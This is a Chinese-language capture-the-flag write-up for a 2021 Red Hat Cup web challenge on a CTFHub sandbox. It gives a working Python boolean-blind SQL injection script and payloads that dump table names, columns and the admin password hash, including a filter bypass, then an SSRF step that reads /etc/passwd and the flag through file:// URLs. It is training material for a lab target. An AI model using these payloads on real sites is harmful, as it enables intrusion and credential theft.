CTFHub_2021-第四届红帽杯网络安全大赛-Web-WebsiteManger(布尔盲注、SSRF )
场景描述:最新的网站测试器,作为非站长的你,能利用好它的功能吗?
场景打开后,如下,是个登录框
查看源码,发现可能的注入点 /image.php?id=2
布尔盲注
- /image.php?id=if(1=1,1,5) True
- /image.php?id=if(1=2,1,5) False
条件为真时?id=1,回显第一张图片,条件为假时?id=5,没有id=5的图片,什么都没有。即可作为布尔盲注判断条件
from requests import *
allstr = '123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
myurl = 'http://challenge-a26d398b5f986b54.sandbox.ctfhub.com:10800/image.php'
info = ''
for i in range(1, 50):
for s in allstr:
#两种注入语句都可以,但是结果有不同
# payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i, ord(s))
payload = '?id=if(substr(database(),{},1)=\'{}\',1,(select/**/table_name/**/from/**/information_schema.tables))'.format(i, s)
resp = get(url=myurl + payload)
if len(resp.text) > 4000:
info += s
print(info)
#爆破数据库
payload = '?id=if((ascii(mid(database(),{},1))={}),1,5)'.format(i,ord(s))
#爆破表名
payload = '?id=if(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=\'ctf\'),{},1))={},1,5)'.format(i,ord(s))
#爆破列名
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'),{},1))={},1,5)'.format(i,ord(s))
#爆破字段
payload = '?id=if(ascii(mid((select/**/group_concat(username,password)/**/from/**/ctf.users),{},1))={},1,5)'.format(i,ord(s))
这里在做题的时候,发现爆破字段得到的结果不是ctf下的users的字段,因为没有加ctf这个限制,应该是爆破到了其他数据库下的users中的字段,需要加上数据库名ctf的限制条件,不过这里题目有对 ‘and’关键字过滤,所以需要用‘&&’替换,而且还要编码为ulr格式‘%26%26’,这里也是用brupsuit抓包分析了很久才发现的,不过只要有耐心,最终还是会发现。
修改后的payload
payload = '?id=if(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=\'users\'/**/%26%26/**/table_schema=database()),{},1))={},1,5)'.format(i, ord(s))
关键函数解释
- mid() 函数:截取字符串一部分,mid(column_name,start[,length])
- ord() 函数:是 chr() 函数(对于8位的ASCII字符串),它以一个字符(长度为1的字符串)作为参数,返回对应的 ASCII 数值。返回值是对应的十进制整数。
- group_concat() 函数:连接一个组的所有字符串,并以逗号分隔每一条数据。能一次性查出所有信息。group_concat(str1,str2,…)
查询到的信息
Tables_in_ctf: users,images
Columns_in_users: username,password
values_in_users: adminf5b86501931f812ed3833dee67a43603
输入账号密码后如下
尝试输入127.0.0.1测试
curl这里应该存在SSRF
尝试file://协议去读文件,成功
file:///etc/passwd
直接读flag
file:///flag
参考:
https://www.cnblogs.com/zhengna/p/15907372.html
https://baijiahao.baidu.com/s?id=1713692186315301136